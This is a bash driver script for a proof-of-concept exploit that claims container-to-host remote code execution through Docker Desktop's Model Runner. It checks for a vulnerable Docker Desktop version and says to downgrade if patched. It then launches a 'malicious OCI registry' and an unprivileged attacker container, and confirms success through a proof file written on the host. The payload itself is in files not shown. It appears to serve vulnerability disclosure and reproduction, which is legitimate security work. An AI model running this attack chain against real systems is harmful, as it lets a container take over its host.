#!/bin/bash # # Docker Model Runner container-to-host RCE PoC # # ./run_poc.sh everything (prereq, registry, tests, attack, proof) # ./run_poc.sh test source code claim validation only # ./run_poc.sh attack registry + attack from container # ./run_poc.sh check just check prereqs # ./run_poc.sh clean kill containers, remove proof files # # Needs: # - Docker Desktop, Model Runner enabled (Settings > Features > Model Runner) # - A Python backend (vllm-metal on Apple Silicon, vLLM on Linux+NVIDIA) # - Python 3 on the host (for test_claims.py) SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" cd "$SCRIPT_DIR" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[0;33m' CYAN='\033[0;36m' BOLD='\033[1m' NC='\033[0m' REGISTRY_PORT="${REGISTRY_PORT:-5555}" PROOF_FILE="${PROOF_FILE:-/tmp/poc_rce_proof}" MODE="${1:-full}" header() { echo "" echo -e "${BOLD}${CYAN}$1${NC}" echo "" } # Returns 0 if $1 >= $2 (semver-ish compare via sort -V). ver_ge() { [ "$(printf '%s\n' "$2" "$1" | sort -V | head -n1)" = "$2" ] } # Try to read the Docker Desktop version. Engine version (from `docker version`) # is the daemon, not Desktop, and `docker desktop version` returns the CLI plugin # version - also not what we want. So: plist on macOS, dpkg on Linux. docker_desktop_version() { local v if [ -f "/Applications/Docker.app/Contents/Info.plist" ]; then v=$(defaults read /Applications/Docker.app/Contents/Info.plist CFBundleShortVersionString 2>/dev/null) if [ -n "$v" ]; then echo "$v"; return; fi fi if command -v dpkg-query &>/dev/null; then v=$(dpkg-query -W -f='${Version}' docker-desktop 2>/dev/null | sed 's/-.*//') if [ -n "$v" ]; then echo "$v"; return; fi fi echo "" } check_prereqs() { header "Checking prerequisites..." local ok=true if ! command -v docker &>/dev/null; then echo -e " ${RED}[FAIL]${NC} docker not found" ok=false elif ! docker info &>/dev/null 2>&1; then echo -e " ${RED}[FAIL]${NC} Docker daemon not running" ok=false else local docker_ver docker_ver=$(docker version --format '{{.Server.Version}}' 2>/dev/null) echo -e " ${GREEN}[OK]${NC} Docker engine ${docker_ver}" fi local dd_ver dd_ver=$(docker_desktop_version) if [ -z "$dd_ver" ]; then echo -e " ${YELLOW}[WARN]${NC} Docker Desktop version not detected" echo -e " Vulnerable range: 4.40.0 <= version < 4.68.0." elif ! ver_ge "$dd_ver" "4.40.0"; then echo -e " ${RED}[FAIL]${NC} Docker Desktop ${dd_ver} is older than 4.40.0 (no Model Runner)" echo -e " Model Runner shipped in 4.40.0. Upgrade to a vulnerable version (4.40.0 - 4.67.x)." ok=false elif ver_ge "$dd_ver" "4.68.0"; then echo -e " ${RED}[FAIL]${NC} Docker Desktop ${dd_ver} is patched (fix landed in 4.68.0)" echo -e " Downgrade to a vulnerable version (4.40.0 - 4.67.x) to reproduce." ok=false else echo -e " ${GREEN}[OK]${NC} Docker Desktop ${dd_ver} (vulnerable: 4.40.0 <= ${dd_ver} < 4.68.0)" fi if docker compose version &>/dev/null 2>&1; then echo -e " ${GREEN}[OK]${NC} docker compose available" else echo -e " ${RED}[FAIL]${NC} docker compose not available" ok=false fi if command -v python3 &>/dev/null; then echo -e " ${GREEN}[OK]${NC} python3 available" else echo -e " ${YELLOW}[WARN]${NC} python3 not found, test_claims.py won't run locally" fi if docker model list &>/dev/null 2>&1; then echo -e " ${GREEN}[OK]${NC} docker model command works" else echo -e " ${YELLOW}[WARN]${NC} 'docker model' missing" echo -e " Either Model Runner is off, or Docker Desktop is too old." echo -e " Settings > Features > Model Runner" fi local mr_status mr_status=$(docker run --rm curlimages/curl -sf -o /dev/null -w "%{http_code}" \ http://model-runner.docker.internal/api/tags 2>/dev/null) if [ "$mr_status" = "200" ]; then echo -e " ${GREEN}[OK]${NC} Model Runner API reachable from containers" else echo -e " ${YELLOW}[WARN]${NC} Model Runner API not reachable (HTTP ${mr_status:-timeout})" echo -e " Static analysis still works; runtime chain needs Model Runner." fi if lsof -i ":$REGISTRY_PORT" &>/dev/null 2>&1; then echo -e " ${YELLOW}[WARN]${NC} Port $REGISTRY_PORT in use" else echo -e " ${GREEN}[OK]${NC} Port $REGISTRY_PORT free" fi echo "" if [ "$ok" = false ]; then echo -e "${RED}Prereqs not met. Fix the FAILs above.${NC}" return 1 fi return 0 } start_registry() { header "Starting malicious OCI registry..." docker compose up -d --build registry 2>&1 | sed 's/^/ /' echo " Waiting for health check..." local attempts=0 while [ $attempts -lt 30 ]; do local health health=$(curl -sf "http://localhost:$REGISTRY_PORT/_poc/selftest" 2>/dev/null) if echo "$health" | grep -q '"passed": true'; then echo -e " ${GREEN}Registry up on port $REGISTRY_PORT${NC}" echo "" echo " Self-test:" echo " $health" | python3 -c " import sys, json try: d = json.load(sys.stdin) print(f' Blobs: {d[\"blob_count\"]}') print(f' Self-test: {\"PASSED\" if d[\"passed\"] else \"FAILED\"} ') except: pass " 2>/dev/null return 0 fi attempts=$((attempts + 1)) sleep 1 done echo -e " ${RED}Registry didn't come up in 30s${NC}" echo " docker compose logs registry" return 1 } run_tests() { header "Running claim validation..." if ! command -v python3 &>/dev/null; then echo -e " ${RED}python3 missing, can't run tests${NC}" return 1 fi REGISTRY_HOST=localhost \ REGISTRY_PORT="$REGISTRY_PORT" \ PROOF_FILE="$PROOF_FILE" \ python3 test_claims.py "$@" } run_attack() { header "Attacking from an unprivileged container..." REGISTRY_PORT="$REGISTRY_PORT" \ PROOF_FILE="$PROOF_FILE" \ docker compose run --rm attacker } check_proof() { header "Looking for RCE proof on host..." if [ -f "$PROOF_FILE" ]; then echo -e " ${GREEN}${BOLD}RCE CONFIRMED${NC}" echo "" echo " Proof file: $PROOF_FILE" echo " Contents:" cat "$PROOF_FILE" | sed 's/^/ /' echo "" if [ -f "${PROOF_FILE}.flag" ]; then echo " Flag: $(cat "${PROOF_FILE}.flag")" fi echo "" echo " Means:" echo " - unprivileged container got host-level code execution" echo " - no Docker socket, no --privileged, no caps" echo " - two HTTP requests to model-runner.docker.internal" return 0 else echo -e " ${YELLOW}No proof file at $PROOF_FILE${NC}" echo "" echo " Why this might happen:" echo " 1. No Python backend installed (vllm-metal, vLLM, MLX, SGLang)" echo " 2. Model loading failed before the tokenizer import" echo " 3. Model Runner picked llama.cpp (C++, not vulnerable)" echo " 4. Model Runner not enabled" echo "" echo " Static analysis (./run_poc.sh test) still proves the bug is in the code." return 1 fi } cleanup() { header "Cleaning up..." docker compose down --volumes --remove-orphans 2>/dev/null echo " Containers stopped" for f in "$PROOF_FILE" "${PROOF_FILE}.flag"; do if [ -f "$f" ]; then rm -f "$f" echo " Removed $f" fi done echo -e " ${GREEN}Done${NC}" } echo -e "${BOLD}================================================${NC}" echo -e "${BOLD}Docker Model Runner container-to-host RCE PoC${NC}" echo -e "${BOLD}================================================${NC}" case "$MODE" in full) check_prereqs || exit 1 start_registry || exit 1 run_tests --static-only echo "" run_attack check_proof echo "" run_tests --runtime-only echo "" echo -e "${BOLD}Done. './run_poc.sh clean' to tear down.${NC}" ;; test) run_tests --static-only ;; attack) check_prereqs || exit 1 start_registry || exit 1 run_attack check_proof echo "" echo -e "${BOLD}Done. './run_poc.sh clean' to tear down.${NC}" ;; check) check_prereqs ;; clean) cleanup ;; *) echo "" echo "Usage: $0 [full|test|attack|check|clean]" echo "" echo " full full PoC (prereqs, registry, static tests, attack, proof, runtime tests)" echo " test source-code claim validation only" echo " attack registry + attack from unprivileged container" echo " check prereqs only" echo " clean stop containers, remove proof files" exit 1 ;; esac